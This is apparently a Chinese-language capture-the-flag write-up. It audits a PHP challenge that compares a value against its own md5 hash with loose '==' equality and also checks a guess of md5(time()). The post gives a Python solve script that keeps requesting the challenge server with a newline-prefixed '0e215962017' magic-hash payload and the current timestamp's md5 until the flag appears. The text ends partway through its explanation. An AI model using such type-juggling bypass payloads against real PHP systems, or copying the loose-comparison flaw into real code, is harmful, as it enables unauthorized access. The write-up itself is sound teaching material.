前言
代码审计的思路主要来自https://blog.csdn.net/bossDDYY师傅
代码审计
<?php
error_reporting(0);
include "flag.php";
$time=time();
$guessmd5=md5($time);
$md5=$_GET["md5"];
if(isset($md5)){
$sub=substr($time,-1);
$md5=preg_replace('/^(.*)0e(.*)$/','${1}no_science_notation!${2}',$md5);
if(preg_match('/0e/',$md5[0])){
$md5[0]=substr($md5[0],$sub);
if($md5[0]==md5($md5[0])&&$md5[1]===$guessmd5){
echo "well!you win again!now flag is yours.<br>";
echo $flag;
}
else{
echo $md5[0];
echo "oh!no!maybe you need learn more PHP!";
}
}
else{
echo "this is your md5:$md5[0]<br>";
echo "maybe you need more think think!";
}
}
else{
highlight_file(__FILE__);
$sub=strlen($md5[0]);
echo substr($guessmd5,0,5)."<br>";
echo "plase give me the md5!";
}
?>
审计完代码我们发现需要的条件是 if($md5[0]==md5($md5[0])&&$md5[1]===$guessmd5
1.$md5[0]==md5($md5[0])肯定是个固定值,但是我们观察
$sub=substr($time,-1);
$md5[0]=substr($md5[0],$sub),会截取字符串,为了保证我们字符串的完整,就需要从1开始取,这样就完整了
再看
$time=time();
$guessmd5=md5($time);其实这个我们能够控制,因为只需要在python脚本获取time,将time md5编码,那么就一定为真,不确定性就在第一步,需要time最后一位为1
编写脚本
import hashlib,time,requests
def guess_md5():
while True:
url = f"http://43.143.7.97:28179/?md5[0]=%0a0e215962017&md5[1]={hashlib.md5(str(int(time.time())).encode()).hexdigest()}"
resp = requests.get(url=url)
if "win" in resp.text:
print(resp.text)
return
time.sleep(1)
guess_md5()
关键步骤解释
str(hashlib.md5(str(int(time.time())).encode()).hexdigest())
time.time()获取当前时间戳
int(time.time())转化为整形,因为时间戳有小数
在php中时间是这样的
在python中
str(int(time.time()))转化为字符,方便md5编码
hashlib.md5($A.encode()).hexdigest()